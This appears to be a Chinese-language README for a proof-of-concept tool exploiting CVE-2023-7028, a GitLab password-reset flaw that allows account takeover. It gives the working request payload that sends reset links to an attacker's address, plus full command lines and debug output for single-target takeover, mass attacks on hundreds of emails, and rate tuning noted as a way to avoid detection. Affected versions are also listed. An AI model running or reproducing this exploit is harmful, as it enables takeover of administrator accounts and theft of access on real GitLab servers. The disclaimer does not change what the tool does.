CVE-2023-7028 | Gitlab 账户接管

免责声明

此代码是该漏洞的概念验证（PoC），我不鼓励任何人在非自己拥有的 GitLab 实例上使用它。此工具仅用于研究和教育目的，对于您使用它所做的任何行为，我概不负责。

描述

本仓库是 https://github.com/Vozec/CVE-2023-7028 的分支。我只是改进了漏洞利用的使用方式。

CVE-2023-7028 是一个账户接管漏洞，允许用户在无需目标用户交互的情况下接管 GitLab 管理员账户。

该漏洞存在于重置密码时的电子邮件管理流程中。攻击者可以提供两个电子邮件地址，重置验证码将同时发送到这两个地址。因此，攻击者可以提供目标账户的邮箱以及自己的邮箱，从而重置管理员密码。 （GitLab 指出，双重身份验证（2FA）可以阻止该漏洞被利用，因为即使攻击者重置了密码，也无法登录。）

该漏洞由 asterion04 发现

载荷

以下是一个示例载荷

user[email][][email protected]&user[email][][email protected]

POC

方法 1：使用临时邮箱（单个目标）

python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW

方法 2：使用攻击者邮箱（单个目标）

python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

方法 3：使用文件中的邮箱列表

python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt

[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting full attacks on 806 target(s) with rate limit 10 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Attack completed: 800/806 requests sent, 750/806 passwords reset

方法 4：跳过模式 - 仅发送重置请求（更快）

python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt --skip -rps 20

[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting reset requests on 806 target(s) with rate limit 20 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
[DEBUG] Processing target 2/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Reset requests completed: 800/806 successful

帮助

$ python3 ./CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL (-t TARGET | -l EMAIL_LIST) [-e EVIL] [-p PASSWORD] [--skip] [-rps RATE_LIMIT]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Gitlab url
-t TARGET, --target TARGET
Target email
-l EMAIL_LIST, --list EMAIL_LIST
File with target emails list
-e EVIL, --evil EVIL Evil email
-p PASSWORD, --password PASSWORD
Password
--skip Skip password reset, only send reset requests
-rps RATE_LIMIT, --rate RATE_LIMIT
Requests per second (default: 10)

使用说明

单个目标：使用 -t 参数攻击单个邮箱地址
多个目标：使用 -l 参数从文件加载邮箱地址（每行一个）
攻击者邮箱：不使用 --evil 选项时，脚本会使用公共临时邮箱服务来获取重置链接（渗透测试时请谨慎）
跳过模式：使用 --skip 仅发送重置请求，无需等待密码重置（大规模攻击时速度更快）
速率限制：使用 -rps 控制每秒请求数（默认：10）。数值越大速度越快，但越容易被检测
邮箱列表格式：纯文本文件，每行一个邮箱地址

示例

# Single target with custom password
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -p MyCustomPass123

# Mass attack with slower rate limit
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt -rps 5

# Fast reconnaissance - only send reset requests
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt --skip -rps 50

受影响的版本

16.1 至 16.1.5
16.2 至 16.2.8
16.3 至 16.3.6
16.4 至 16.4.4
16.5 至 16.5.5
16.6 至 16.6.3
16.7 至 16.7.1

CVE-2023-7028

最受欢迎